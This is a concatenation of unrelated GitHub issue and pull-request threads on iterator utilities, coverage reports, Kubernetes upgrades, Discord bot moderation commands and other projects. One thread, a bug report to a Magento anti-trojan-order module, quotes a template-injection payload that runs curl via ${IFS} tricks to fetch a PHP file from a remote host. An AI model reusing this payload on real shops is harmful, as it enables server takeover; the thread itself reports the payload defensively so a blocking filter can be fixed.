So... ? I'm not saying we copy the API exactly, I'm just saying we use the basics of how it works.

Regarding https://github.com/sithmel/iter-tools/issues/193#issuecomment-462602728, since String.prototype.split can make more than 2 parts, our split should also split an iterable every time the function return true.

Another thing, in the example provided by @sithmel, I see that Array.from(second) has the separator (' ') as the first element. This is different from String.prototype.split where no substring contains separator.

Yes, that's what I was seeing in the example, and what I was suggesting we change.

I think we are all on the same page now:
const [hello, world] = split((item) => item === ' ', 'hello world')
Array.from(hello) === ['h', 'e', 'l', 'l', 'o']
Array.from(world) === ['w', 'o', 'r', 'l', 'd']

and also:
const [first, part] = split((item) => item === ' ', 'first part second part')
Array.from(first) === ['f', 'i', 'r', 's', 't']
Array.from(part) === ['p', 'a', 'r', 't']

I realised just now that this really looks like groupBy, so I tried it:
    for (const [k, v] of groupBy((item) => item !== ' ', 'hello world')) {
      console.log(Array.from(v))
    }

This prints:
      [ 'h', 'e', 'l', 'l', 'o' ]
      [ ' ' ]
      [ 'w', 'o', 'r', 'l', 'd' ]

I also tried using destructuring:
    const [[_1, hello], [_2, space], [_3, world]] = groupBy((item) => item !== ' ', 'hello world')
    console.log(Array.from(hello), _1)
    console.log(Array.from(space), _2)
    console.log(Array.from(world), _3)

This returned:
      [ 'w', 'o', 'r', 'l', 'd' ] true
      [ undefined ] false
      [ undefined ] true

Which was unexpected initially, but then I realised that groupBy doesn't buffer by design. So if you don't consume the subiterables, this can happen. I'd like to dig deeper into it, to see if it can be improved/fixed.

Yeah, now that I look to groupBy, I think it can be improved to work in all situations.

On a side note: splitting an iterable is a mess, but our implementation is supporting cases that python itertools can't even dream. And this is definitely an achievement

I am experimenting on an enhanced groupBy that will serve as a base of this and splitAt.


Lights out

Have you read the Contributing Guidelines on Pull Requests?
(yes.)
Description
Python source code under cp folder and also edited "README.md" by attaching the link of the problem.
Checklist

[x] I've read the contribution guidelines.
[x] I've checked the issue list before deciding what to submit.
[x] I've edited the README.md and link to my code.

Related Issues or Pull Requests
Solved issue #4097

Please let me know if any change is required! :)


Added broadcasting of incoming transaction when attempting to broadcast

Codecov Report

Merging #131 (750bf80) into master (18b0bc7) will decrease coverage by 0.14%.
The diff coverage is 0.00%.

@@            Coverage Diff             @@
##           master     #131      +/-   ##
==========================================
- Coverage   50.56%   50.42%   -0.15%
==========================================
  Files         109      109
  Lines       11682    11715      +33
==========================================
  Hits         5907     5907
- Misses       5370     5403      +33
  Partials      405      405

Flag
Coverage Δ

unittests
50.42% <0.00%> (-0.15%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

model_incoming_transactions.go
52.99% <0.00%> (-2.87%)
:arrow_down:

model_sync_transactions.go
13.32% <0.00%> (-0.54%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 18b0bc7...750bf80. Read the comment docs.


chrome/firefox extension would be extra valuable.

when browsing, i should be able to perf-check right from the browser and results should be siphoned back to the extension.

Very good idea. I'll learn about firefox's headless mode,  may be supported in the future

thanks. one clean way could be port this from a script based setup to RESTful service. once thats done, extension would just be a client for this API(s).


fix(template-list): better guard for hero inheritance

quick fix for template inheritance with new structure without hero image.

https://template-list0inheritance-fix--spark-website--adobe.hlx.page/es/express/create/logo/animated.html
vs.
https://www.adobe.com/es/express/create/logo/animated.html


orders getting past your filters

We are getting orders now with our pay by check option that are not getting blocked by your module. this is what is in the billing and shipping info:
{{var this.getTemp lateFil ter().filt er(order)}} {{var this.getTemp lateFil ter().add AfterFil terCallb ack(system).Fil ter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}cache.php${IFS%??}hxxp://<IP_ADDRESS>/cache.php?m=48993-20328-20087)}}
they are also using this email address
<EMAIL_ADDRESS>Expected Behavior
The order would be blocked by throwing and exception error
Current Behavior
the order gets submitted
Steps to Reproduce
create and order using the above shipping and billing information
the order will complete.
thank you for creating this module.

also check if you have all the strings to find from commit https://github.com/DeployEcommerce/module-trojan-order-prevent/commit/fb857ffb76b30cb25e08f16da29fed0864a27707
".php" and "this.getTemp" should have blocked it too

we updated the module and it is now blocking the code snippet i reported.


Disable mdx parsing in turbotrace

It's not necessary to enable MDX parsing in turbotrace, and there was a parsing error that caused the build to fail when I was trying to enable turbotrace in verce/site: https://vercel.com/vercel/vercel-site/7pFWUVMWVAv3jC44WD2nBnwrbJpM

Why do we not want to parse in turbotrace? Don't we still want to resolve the imports of the mdx files?

Why do we not want to parse in turbotrace? Don't we still want to resolve the imports of the mdx files?

Align the behavior with https://github.com/vercel/nft.
Turbotrace will run two phases in next.js projects:

tracing webpack entries
tracing webpack output

tracing the webpack entries is because we need to trace static assets like CSS/images that could not be traced in output. So, ignoring MDX is totally safe in this step.
@ForsakenHarmony

@Brooooooklyn what happens when you import css from mdx?

You could use https://mdxjs.com/packages/node-loader/ from node to import mdx. In which case we also need to trace dependencies in mdx, so mdx need to be parsed.

what happens when you import css or an image from mdx?

In this case, they can use unstable_includeFiles to include it: https://nextjs.org/docs/advanced-features/output-file-tracing#caveats

@sokra added the enable_mdx option to node-file-trace, I will disable it in vercel-site for now because of the mdx-rs bug, and enable it again when mdx-rs fix it.


My copy of the TiTS source (from before it went private atleast), has an Anno.as file with:
this.balls = 2;
and
vaginas[0].type = GLOBAL.TYPE_INHUMAN;
GLOBAL.TYPE_INHUMAN = 56


add VS2022 port of dark-space as VSIX (w/ source)

delete existing (?) 1.0.0.vsix (8MB! this one is 500KB)
add solution containing vstheme (raw XML theme data) which is converted to pkgdef and wrapped in vsix at build time.
compiled VSIX is copied to $(SolutionDir)\release\DarkSpace.vsix on successful build

TODO:

Finish up any version/license/copyright/description changes you want to make (but I think it's okay how it is. I made it version 0.1 just because it's completely untested)
Decide on preview screenshots (I can provide more if you want)
Create dark-space-black variation (probably just copy the entire dark-space dir and manually rename solution/project files, create new GUIDs)
Find issues with the coloring/fix/repeat
Publish to VS marketplace

Let me know what you'd like help with and what you'd like to do yourself!

Whoops, just realized I duplicated icon.png since you have it in the root. I can change the project to refer to that one.


Scene inspector improvements

This gives a greater than 10x speedup for SceneInspector update times for large numbers of attributes, and adds name based filtering to the attributes and options sections, as per #1159.

It would be nicer if the filter ignored case I think. Right now "blur" doesn't match anything but "Blur" matches both "deformationBlurSegments" and "transformBlurSegments".

Good idea - I've added a commit for the case-insensitive matching. Let me know if there's anything I can do to help with the AOV list - also, if someone's looking at that code, it's probably worth updating it to use the new cached access methods on the Target class.

Needs a quick rebase

So I just did a quick test with RenderPassSettings, and it looks like the enable/disable buttons are actually working, but the UI isn't updating until you navigate to a different node and back again. Could it have something todo with the row valid/visible changes here?

I've rebased so it should merge cleanly now. Just going through the code for the RenderPassSettings I'm at a bit of a loss as to what could be wrong - let me know if you want me to dive in more deeply.


Improve documentation of transforms

Fixes documentation of index to world or world to index space functions

Thank you for building NanoVDB; it is excellent!

Thanks for these corrections - that have been added already in a separate commit that also includes other changes. Consequently I'll close this PR.


bevy_pbr2: Improve lighting units and documentation

Objective
A question was raised on Discord about the units of the PointLight intensity member.
After digging around in the bevy_pbr2 source code and Google Filament documentation I discovered that the intention by Filament was that the 'intensity' value for point lights would be in lumens. This makes a lot of sense as these are quite relatable units given basically all light bulbs I've seen sold over the past years are rated in lumens as people move away from thinking about how bright a bulb is relative to a non-halogen incandescent bulb.
However, it seems that the derivation of the conversion between luminous power (lumens, denoted Φ in the Filament formulae) and luminous intensity (lumens per steradian, I in the Filament formulae) was missed and I can see why as it is tucked right under equation 58 at the link above. As such, while the formula states that for a point light, I = Φ / 4 π we have been using intensity as if it were luminous intensity I.
Before this PR, the intensity field is luminous intensity in lumens per steradian. After this PR, the intensity field is luminous power in lumens, as suggested by Filament (unfortunately the link jumps to the table's caption so scroll up to see the actual table).
I appreciate that it may be confusing to call this an intensity, but I think this is intended as more of a non-scientific, human-relatable general term with a bit of hand waving so that most light types can just have an intensity field and for most of them it works in the same way or at least with some relatable value. I'm inclined to think this is reasonable rather than throwing terms like luminous power, luminous intensity, blah at users.
Solution

Documented the PointLight intensity member as 'luminous power' in units of lumens.
Added a table of examples relating from various types of household lighting to lumen values.
Added in the mapping from luminous power to luminous intensity when premultiplying the intensity into the colour before it is made into a graphics uniform.
Updated the documentation in pbr.wgsl to clarify the earlier confusion about the missing / 4 π.
Bumped the intensity of the point lights in 3d_scene_pipelined to 1600 lumens.

bors r+


[#976] Add an example to monitor broker metrics by using Prometheus

I updated the example to use the port console-jolokia that exists even if the console is not exposed.

I updated the example to use the port console-jolokia that exists even if the console is not exposed.

good, there is also just plain 'jolokia' for the agent use case, so glad that is still available.


Allow user to sort on Start Time in deep history

In the Deep History view, it would be nice user can sort on the start time.
https://trss.adoptium.net/deepHistory?testId=60d0f9ac3f2fbf5bdac90a38

Verifying the issue ,i will continue to work on it

Thanks @AnushaGaddala . The above link is expired. Here is the new link: https://trss.adoptium.net/deepHistory?testId=6156381ac6182d02172c00b5

Thanks @AnushaGaddala . The above link is expired. Here is the new link: https://trss.adoptium.net/deepHistory?testId=6156381ac6182d02172c00b5

Tq llxia

Thanks @AnushaGaddala . The above link is expired. Here is the new link: https://trss.adoptium.net/deepHistory?testId=6156381ac6182d02172c00b5

llxia , how should i test after making the code changes ?

If you set up your local env and import data, you should be able to test it.

PR https://github.com/adoptium/aqa-test-tools/pull/557

PR #557

Tq got it , Anything else pending for this issue ? or shall we call it as done?

This now can be closed (and in fact, in a PR you could have added the comment "Fixes #557" and github would have automatically closed the issue upon merging of the PR).

thanks @AnushaGaddala !


ci: Enable color output from Nox, pytest, and pre-commit

This enables color output on GitHub Actions for Nox itself, as well as pytest and pre-commit, using workflow-wide environment variables. Nox and pytest support FORCE_COLOR, while pre-commit supports PRE_COMMIT_COLOR.

There are test failures because FORCE_COLOR conflicts with tests for --nocolor.
(On the bright side, the test failures are now beautiful to look at. 😆 )

Pretty! I like it

Thanks @cjolowicz 🎉


Increment version for cosmos releases

Increment package version after release of com.azure azure-cosmos

#25259


fix: only include initialized towards the budget total

Fixes #N/A
Description
When Karpenter replaces nodes within disruption, Karpenter previously considered nodes that weren't deleting, which meant that nodes that were launching or registering were also counting towards the total. This means while processing another command, a NodePool's allowed disruptions could change when using percentage based budgets. We should only be using the nodes that Karpenter considers healthy when determining whether a budget threshold will be reached.
How was this change tested?
make presubmit
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.01%) to 80.119%

Totals

Change from base Build<PHONE_NUMBER>:
0.01%

Covered Lines:
7653

Relevant Lines:
9552

💛  - Coveralls


Improve solution explorer for keyboard navigation

Is your feature request related to a problem? Please describe.
I'm in the habit of using keyboard only navigation for traversing solutions:

Keybind to change focus between solution and editor
Using arrow keys to navigate up and down
Using hotkey to collapse/expand directory tree
using hotkey to copy/cut-paste
using hotkey to create directory and files
using shift+arrow up/down to select multiple files
using hotkey to rename file (and I'd like the option to automatically rename the contained type as well)

Describe the solution you would like
I've developed those habits within VS and now that I'm trying to switch to VS Code because of it's far superior text editor I find some of these options lacking or unpolished:

I can change focus

Using arrow keys works pretty much same as VS, so far so good

collapse/expand individual nodes using arrows is great, but I can't find a way to collapse all effectively - I've bound list.collapseAll which collapses the entire solution tree, rather than stopping at projects or solution dirs. While it's workable (and I believe workaround-able by creating a custom sequence of actions and key-binding that) I think a simple c# dev kit option to Keybind like solutionExplorer.CollapseProjectsAndSolutionFolders would be much better user experience

I don't see any option to cut/copy/paste solution file using hotkey

I can create directories and files, but it's clunky - in VS I'm used to simply navigating to the directory I want to create and pressing a hotkey. In VS code I can do something similar, but I have

navigate to directory
press tab, which selects "new file" option
press right arrow if in order to select "new directory" (if I want directory)
press enter to trigger the new dialog.

I've tried to keybind csdevkit.addNewFileFromFileMenu which seems to be what I'm after, but it behaves exactly like csdevkit.addNewFile, which simply opens a new editor tab with a class snippet. Then I have to manually save the file and select a directory location with explorer. This is obviously bonkers.

This does nothing in solution explorer and I cannot find a named command I can bind to that does it (should be default behavior IMO)

File rename hotkey exists, but there is no option that would rename the contained type as well, same goes in reverse - I'd like to be able to automatically rename the file when I rename the type same as VS default behavior. Furthermore sometimes renaming the file is buggy - it creates a new file with the new name and keeps the old. Doesn't happen always, but quite often. IDK if that's an extension problem though.

Additional context
Happy to help with further info, please contact me

moved over to the devkit side - https://github.com/microsoft/vscode-dotnettools/issues/1623


Refactor channel swiper

@enahum haven't looked at the code just yet, but was testing and I noticed some odd animation when adding focus to the filtering textbox. Are you seeing the same thing? May just be a minor nit, but would be nice to get rid of since we are refactoring.

Look at the code and let me know if you figure how to fix that as we need to scroll it to the left after the width changes

Do we need to change the width for the search box? I know it gives us a bit more space to work with, but it causes so many headaches with the drawer and the animation

That can be discussed in UX but I’ve been working to improve it a little bit more, I’ll push an update shortly

@hmhealey suggested changes made


per-message compression options

fix #226, #227

Looks to be failing due to #2481.

Drone passes now, the 4.8 issues seems fixed. @vinniefalco where are we at with this?

Should be ok

Commited directly as squash


How to pull docker developer-preview for June

I am unable to pull the recent docker image for June NAV developer-preview using either of the following image names (error messages indicate file not found).
docker pull "bcinsider.azurecr.io/dynamics-nav:13.0.22895.0-us"
docker pull "bcinsider.azurecr.io/dynamics-nav:13.0.22895.0"
docker pull "bcinsider.azurecr.io/dynamics-nav:devpreview-finus"
docker pull "bcinsider.azurecr.io/bcsandbox:13.0.22895.0-us"
I am able to pull docker -image "bcinsider.azurecr.io/bcsandbox-master:us" which is build 13.0.23231.0
(unclear if this BC build contains the developer preview changes from June)?
Is the navdocker.azurecr.io repository still active?  Is so, can you provide the login -u -p parameters.
I am referencing the document  from Microsoft Collaborate to obtain docker builds,
Please advise.
Login Succeeded
docker : Error response from daemon: manifest for bcinsider.azurecr.io/dynamics-nav:13.0.22895.0-us not found
At line:3 char:1

docker pull "bcinsider.azurecr.io/dynamics-nav:13.0.22895.0-us"

  + CategoryInfo          : NotSpecified: (Error response ....0-us not found:String) [], RemoteException
  + FullyQualifiedErrorId : NativeCommandError

Login Succeeded
docker : Error response from daemon: manifest for bcinsider.azurecr.io/dynamics-nav:devpreview-finus not found
At line:3 char:1

docker pull "bcinsider.azurecr.io/dynamics-nav:devpreview-finus"

  + CategoryInfo          : NotSpecified: (Error response ...finus not found:String) [], RemoteException
  + FullyQualifiedErrorId : NativeCommandError

Login Succeeded
docker : Error response from daemon: manifest for bcinsider.azurecr.io/bcsandbox:13.0.22895.0-us not found
At line:3 char:1

docker pull "bcinsider.azurecr.io/bcsandbox:13.0.22895.0-us"

  + CategoryInfo          : NotSpecified: (Error response ....0-us not found:String) [], RemoteException
  + FullyQualifiedErrorId : NativeCommandError

navinsider doesn't exist anymore - NAV is on public docker hub and only cumulative updates are released here.
Locations for Docker images are explained here: https://blogs.msdn.microsoft.com/freddyk/2018/04/16/which-docker-image-is-the-right-for-you/
Don't try anything else unless specifically instructed to go for a specific build number.
Our branching strategy is described here: https://blogs.msdn.microsoft.com/nav/2018/05/03/al-developer-previews-multiple-releases-and-github/
This means that bcinsider.azurecr.io/bcsandbox-master: contains our daily build and will (as the only one) contain the feature set explained in the June developer preview blog post.

Can you please clarify terminology being used in the build strategy ...
Is the Main Branch equivalent to the "Daily Builds - Developing for a future release of Dynamics 365 Business Central" published on Microsoft Collaborate?
bcinsider.azurecr.io/bcsandbox-master:us
Or is the Main Branch equivalent to "Daily Builds - Maintaining an app in AppSource for Dynamics 365 Business Central"?
bcinsider.azurecr.io/bcsandbox:us

Main is master - that is where our development happens.


Unable to invoke the torch installed via the setup tutorial.

Hello, I've encountered an issue. Despite following the installation tutorial at https://ipex-llm.readthedocs.io/en/latest/doc/LLM/Quickstart/install_windows_gpu.html and successfully installing IPEX-LLM, I'm unable to invoke the torch package. However, I have confirmed that the corresponding torch package is indeed installed within my Python packages.This is my Python environment：

I only intercepted a portion of the package environment that I believe will be relevant,I am certain that I installed it according to the requirements.

It cannot find the specified module.

Now I will install the native torch in a different environment.

Now I will install the native Torch in a different environment and execute the above query for Torch information and call Torch, this is successful.The two environments I am demonstrating here are both 3.11.

My CPU is 12th Gen Intel(R) Core(TM) i5-12400
My GPU is Intel(R) Arc(TM) A750 Graphics
If I need more information, I will reply promptly. I hope you can help me solve this problem. I need to use this to complete my homework. Thank you.

Hi @index1001012,
Would you mind checking the troubleshooting guide first to see whether these steps help?
Please let us know for any further problems :)

你好 @index1001012，
您是否介意先查看 故障排除指南 ，看看这些步骤是否有帮助？
如有任何其他问题，请告知我们:)

Hello, I forgot to install libuvs when installing this package in the base environment. Thank you very much for your reminder. Now I can complete my homework.


.warn command with customizable consequences (kick/ban/mute, timed) after flexible number of warnings.

I really like the idea!

Excellent idea.

Perhaps after adding basic functionality of this feature, the ability to have the Bot Owner .warn by userid/chanid/guildid. This would allow the Bot Owner to warn guilds for misuse with levels such as temp blacklist, bot removal, and a flat-out blacklist.

from High Tyhd's suggestion in discord:
A warning command to warn people of certain offences. E.g
.warn @SomeGuy Mic Spam
Have the command add him to a server database that can be modified by admins.(edited)
For newer people, you should add an auto-set-up config for what roles can do what commands e.g (In this hypothetical example, 30 is the most perms you can have 0 being the lowest);
Owner: 30/30 commands
Co-Owner: 26/30
Senior Admin: 21/30
Admin:  19/30
Junior Admin: 17/30
Moderator:  15/30
Trusetd: 3/30
(Each line is a new message)
A set of commands where people can vote to;

Mute
Kick
Ban
Chat Disable

with admin approval e.g
.votekick (user) (reason)
.votekick @someguy "Mic spam"
(This is just the kick command, the other commands would like this)
.votemute/kick/ban/chat mute (user) (reason) (time) (time would be measured in seconds)
.votemute/kick/ban/chat mute @someguy Spam 120

Just plain warnings will be added in 3-5 days. No votekicking and no warning 'weights'.
Pseudo-commands:
.setwarning 4 Ban
.setwarning 3 Kick
.setwarning 2 mute
.warnclear SomeUser
Warnings would presist until cleared?
.warn User would warn the user, if he's at number specified by setwarning, appropriate punishment would be applied.
You can discuss the command names/behaviour here, I'll read it all before working on the command.

"Warnings would persist until cleared?" - I would say yes, but add an option to make them time limited. For example:
.warn @user "reason" (number of days)
If number of days is omitted, warning will be kept until cleared. If number of days is given, warning will be cleared after n days. But I guess that would be way more complicated to implement. Would need a scheduler that prunes warnings...

No to time limited warnings

Maybe have a setting on a guild level which tells how much warnings last for 🤔

Personally I think @Kwoth 's above is fine (.warnclear or the like) - only suggestion maybe have a lookup .warnlog @user which just lists any prior warnings.

If time limited warnings are not an option, then no time limit at all and rather make it a manual process.

Time limited softban makes sense, but for warnings it's fine I think to just have it manually. Just having a log of all prior warnings and a warnclear option is how most moderation bots do it, so you can lookup if a user has been warned in the past.

ohhh warnlog idea is great

Just needs testing.

uhmm where is the code?


Add Stetho rules

Official source: https://github.com/facebook/stetho/wiki/FAQ#nothing-is-shown-in-chrome-devtools-and-i-see-many-method-not-implemented-messages-in-logcat

Thanks


Allow user to manually assign characters to user IDs

Implements #48. The optional parameter assigned_characters has been added to the render_comment_list() function. Each key is a character (like Character.PHOENIX) and its value is the user_id that the character will portray.
I've included the script manual_character_example.py that demonstrates this. When the characters dictionary in that script is commented out/not sent to render_comment_list(), this is the resulting video:
https://user-images.githubusercontent.com/9957987/197287044-ee486cc5-e704-4c07-9d6c-1b9829d564b5.mp4
Here's the same dialogue but with the characters passed to render_comment_list() (what you'd get if you ran the script):
https://user-images.githubusercontent.com/9957987/197286610-a4ef1eb9-0ff0-48bf-8d28-1eb38401584a.mp4
The get_characters() function inside of utils.py had to be reworked a bit to allow for this; while the testing I did was successful, it might be good to have someone else confirm that the logic looks good before merging.
Thanks!

Just pushed changes to fix those issues! The order of the assigned_characters is now reversed so that it takes the user ID as the key and the character as the value. The all_rnd_characters issue was taken care of in the process. Now, the first time around it removes any manually assigned characters from the running for random assignment, but if it runs out, those characters should be added back in.

Nice. It looks good from a visual inspection. I want to do some renders to test it but it should be ready to merge later today.
Thanks a lot.

Good to go. Merged!


Deserializing large serialized Value::Number fails

Expected behavior: Deserialisation of any serialized struct should succeed.
Actual behavior: When deserializing a large serialized Value::Number an error is returned.
Example:
use ron::value::Value;
let test_var = Value::Number(Number::new(10000000000000000000.0f64));
let test_ser = ron::ser::to_string(&test_var).unwrap();
let test_deser = ron::de::from_str::<Value>(&test_ser);
assert!(test_deser.is_ok()); // <-- this fails

Here test_deser is an Err<Parser(ExpectedInteger, Position { col: 1, line: 1 })>.
Version:
git rev-parse HEAD: 6e9f7dd3080bdedb88ad89700da1aad499cb303f

Most likely a dupe of https://github.com/ron-rs/ron/issues/100

I don't think it's an exact duplicate of #100. I'm not trying to deserialize into an integer.
#157 fixes this. Thank you.


fix: Fix imports for alpenhorn reorg

Update for re-org of alpenhorn: https://github.com/radiocosmology/alpenhorn/pull/199

The tests need https://github.com/radiocosmology/alpenhorn/pull/201 to work


Rolling back ruby to 2.0.0 to help with memory leaks, fixes #257

Putting this here if we agree to try the rollback fix I suggested :)

Ruby 2.0.0 ready to go if we'd like :)

@DBNess does this look smooth to you? I was thinking we could try it out once the feature traction has eased up.

@kstack7 looks nice & clean! thank you! Holding off on actually merging this since our memory usage looks consistent / not much like a leak now, as we discussed, but glad we have this ready to go :+1: :ok_hand:

Thanks @DBNess...sounds good!

Closing for now to clean up the PR list. We can always reopen if needed, but unlikely.


Removing old VMT cause error with migration feature

Failed Atmosphere::Cloud::RemoveOlderVmtWorker with [1215]: PG::ForeignKeyViolation: ERROR:  update or delete on table "atmosphere_virtual_machine_templates" violates foreign key constraint "atmo_mj_vmt_fk" on table "atmosphere_migration_jobs"
DETAIL:  Key (id)=(1212) is still referenced from table "atmosphere_migration_jobs".
: DELETE FROM "atmosphere_virtual_machine_templates" WHERE "atmosphere_virtual_machine_templates"."id" = $1. Manual intervention required!

Due to #15.

@mkasztelnik do I need to add a cascade delete or something other?

/home/atmosphere/current/vendor/bundle/ruby/2.1.0/bundler/gems/atmosphere-7ddeeffe4ae6/app/models/atmosphere/virtual_machine_template.rb:136:in `destroy'
/home/atmosphere/current/vendor/bundle/ruby/2.1.0/bundler/gems/atmosphere-7ddeeffe4ae6/app/workers/atmosphere/vm_template_monitoring_worker.rb:36:in `block in update_images'
/home/atmosphere/current/vendor/bundle/ruby/2.1.0/bundler/gems/atmosphere-7ddeeffe4ae6/app/workers/atmosphere/vm_template_monitoring_worker.rb:35:in `each'
/home/atmosphere/current/vendor/bundle/ruby/2.1.0/bundler/gems/atmosphere-7ddeeffe4ae6/app/workers/atmosphere/vm_template_monitoring_worker.rb:35:in `update_images'
/home/atmosphere/current/vendor/bundle/ruby/2.1.0/bundler/gems/atmosphere-7ddeeffe4ae6/app/workers/atmosphere/vm_template_monitoring_worker.rb:14:in `perform'

Error is reproduce-able.

Testing on dev if fix works.

Fixed in https://github.com/dice-cyfronet/atmosphere/commit/bf4364563dfa5a7880cd2016e084168e26447fee, https://github.com/dice-cyfronet/atmosphere/commit/1cd33348d26e5abbf46a8541c2e3ce93e7cf98ac and https://github.com/dice-cyfronet/atmosphere/commit/b0aba54f804b4caaa144fac0796f092f1905d060


Add TimSort

Chrome 70 Array.prototype.sort  use the stable TimSort algorithm
https://twitter.com/mathias/status/1036626116654637057

@trekhleb Can you assign this issue to me, I will add this algorithm

I have completed the coding of this in my branch and written test in that, but somehow my some tests are failing, would like to have some help @mantou132 or @rahulrana95  if you can in any way.


Update API docs example for image load response

Commit 353af0b3ecfe483568fd88754e432c92b0ec088b (https://github.com/docker/docker/pull/25557) updated
the /image/load endpoint to consistendly return
JSON, but did not update the associated documentation.
This updates the example response in the documentation
to match the actual response.
Since this fixed isn't versioned, I updated all versions of
the API docs since "?force" was added.

LGTM

LGTM

Thanks @thaJeztah for taking care of the docs! 👍


Upgrading k3s using Rancher (SUC) intermittently taking 30+ minutes

Environmental Info:
K3s Version:
Reproduced upgrading from 1.18.13 to 1.18.15, 1.18.15 to 1.19.7, and 1.19.8 to 1.20.4
Node(s) CPU architecture, OS, and Version:
Ubuntu 20.04
Cluster Configuration:
2 nodes both with server role
Describe the bug:
When upgrading a k3s cluster using Rancher, around 50% of the time, the upgrade is stuck and takes over 30 minutes to complete. Other times upgrades complete in less than 5 minutes. Appears that SUC creates the k8s job, but the pod to perform the upgrade doesn't get created or immediately terminates. The job eventually times out after 30 minutes, a new pod is created, and the upgrade is successful.
Steps To Reproduce:

Install a 2 node k3s cluster (both server role) with MySQL backend. Use version 1.18.13.
Import cluster into Rancher (create Rancher import cluster, run kubectl apply -f https:///.yaml)
Using Rancher UI, edit cluster and select version 1.18.15 (newer versions are ok too)
Wait and see how long the upgrade takes.

Actual behavior:
Around 50% of the time, k3s upgrades take 30 minutes or longer.
Additional context / logs:
Feb 02 00:02:07 ip-10-10-100-248 k3s[941]: I0202 00:02:07.468434     941 reconciler.go:224] operationExecutor.VerifyControllerAttachedVolume started for volume "host-root" (UniqueName: "kubernetes.io/host-path/6743dfe2-ef7d-4856-ac84-4bc679efd86e-host-root") pod "apply-k3s-master-plan-on-ip-10-10-100-248-with-945e51567b-rqdrs" (UID: "6743dfe2-ef7d-4856-ac84-4bc679efd86e")
Feb 02 00:02:08 ip-10-10-100-248 k3s[941]: I0202 00:02:08.081687     941 reconciler.go:196] operationExecutor.UnmountVolume started for volume "host-root" (UniqueName: "kubernetes.io/host-path/6743dfe2-ef7d-4856-ac84-4bc679efd86e-host-root") pod "6743dfe2-ef7d-4856-ac84-4bc679efd86e" (UID: "6743dfe2-ef7d-4856-ac84-4bc679efd86e")
Feb 02 00:02:08 ip-10-10-100-248 k3s[941]: I0202 00:02:08.100940     941 operation_generator.go:782] UnmountVolume.TearDown succeeded for volume "kubernetes.io/host-path/6743dfe2-ef7d-4856-ac84-4bc679efd86e-host-root" (OuterVolumeSpecName: "host-root") pod "6743dfe2-ef7d-4856-ac84-4bc679efd86e" (UID: "6743dfe2-ef7d-4856-ac84-4bc679efd86e"). InnerVolumeSpecName "host-root". PluginName "kubernetes.io/host-path", VolumeGidValue ""
Feb 02 00:02:08 ip-10-10-100-248 k3s[941]: I0202 00:02:08.183004     941 reconciler.go:319] Volume detached for volume "host-root" (UniqueName: "kubernetes.io/host-path/6743dfe2-ef7d-4856-ac84-4bc679efd86e-host-root") on node "ip-10-10-100-248" DevicePath ""
Feb 02 00:02:08 ip-10-10-100-248 k3s[941]: E0202 00:02:08.316135     941 kubelet_pods.go:147] Mount cannot be satisfied for container "cordon", because the volume is missing or the volume mounter is nil: {Name:host-root ReadOnly:false MountPath:/host SubPath: MountPropagation:<nil> SubPathExpr:}
Feb 02 00:02:08 ip-10-10-100-248 k3s[941]: E0202 00:02:08.316214     941 kuberuntime_manager.go:818] init container start failed: CreateContainerConfigError: cannot find volume "host-root" to mount into container "cordon"
Feb 02 00:02:08 ip-10-10-100-248 k3s[941]: E0202 00:02:08.316245     941 pod_workers.go:191] Error syncing pod 6743dfe2-ef7d-4856-ac84-4bc679efd86e ("apply-k3s-master-plan-on-ip-10-10-100-248-with-945e51567b-rqdrs_cattle-system(6743dfe2-ef7d-4856-ac84-4bc679efd86e)"), skipping: failed to "StartContainer" for "cordon" with CreateContainerConfigError: "cannot find volume \"host-root\" to mount into container \"cordon\""

Full k3s logs available upon request.
Might be related to this upstream Kubernetes issue: https://github.com/kubernetes/kubernetes/issues/85330
gz#14783

NOTE: If you see this, please check the K3s logs for "Mount cannot be satisfied for container" messages, as upstream has recently added more verbose logging to try to collect info on the root cause.

@brandond Yes, was able to reproduce it on later versions (1.19.8) and capture more detailed logging:
Feb 23 04:48:19 ip-10-1-1-57 k3s[1461]: E0223 04:48:19.373686    1461 kubelet_pods.go:153] Mount cannot be satisfied for container "cordon", because the volume is missing (ok=false) or the volume mounter (vol.Mounter) is nil (vol={Mounter:<nil> BlockVolumeMapper:<nil> SELinuxLabeled:false ReadOnly:false InnerVolumeSpecName:}): {Name:host-root ReadOnly:false MountPath:/host SubPath: MountPropagation:<nil> SubPathExpr:}
Feb 24 05:57:02 ip-10-1-1-57 k3s[737835]: E0224 05:57:02.470793  737835 kubelet_pods.go:153] Mount cannot be satisfied for container "cordon", because the volume is missing (ok=false) or the volume mounter (vol.Mounter) is nil (vol={Mounter:<nil> BlockVolumeMapper:<nil> SELinuxLabeled:false ReadOnly:false InnerVolumeSpecName:}): {Name:host-root ReadOnly:false MountPath:/host SubPath: MountPropagation:<nil> SubPathExpr:}

You can DM me for the full log if needed.

Tentatively setting a 1.21 milestone but this is an upstream problem.

I am also facing this same issue intermittently:
"Mount cannot be satisfied for the container, because the volume is missing or the volume mounter (vol.Mounter) is nil" containerName="prepare" ok=false volumeMounter={Name:host-root ReadOnly:false MountPath:/host SubPath: MountPropagation: SubPathExpr:}
k3s version v1.21.1+k3s1 (75dba57f)

@nikhilbhandari123 do you reproduce this reliably or is it just flaky?

Fixed via:

rancher/system-upgrade-controller#145
rancher/system-upgrade-controller#153


alpine: Don't install ca-certificates on Alpine 3.7+

CA certs come bundled on Alpine 3.7+
On Alpine 3.6, rather install libressl which also include CA certs, allows us to use wget, and doesn't increase the size over ca-certificates

No significant change to image size (decreases ~0.7MB). Mostly a cleanup.

@tianon I've rebased this on top of #311

Rebased on top of #315

Thanks @JayH5 :heart:
(especially for your patience :sweat_smile:)


Add support for computed vars

This PR fix the issues #14, and some unit tests are provided
An unresolved problem is the tabbing of the first lines in the expanded merging function, but it is not related to the issue, and It has not been yet found as an issue because no unit test where provided until this PR for checking the expansion of a property inside @ForkedModel that do not have an attached "@Merge" macro
(ex.)

I've made the improvements! sorry for the initial PR, I'm not so used to working in open source and I rushed it!
I think the solution is now more robust

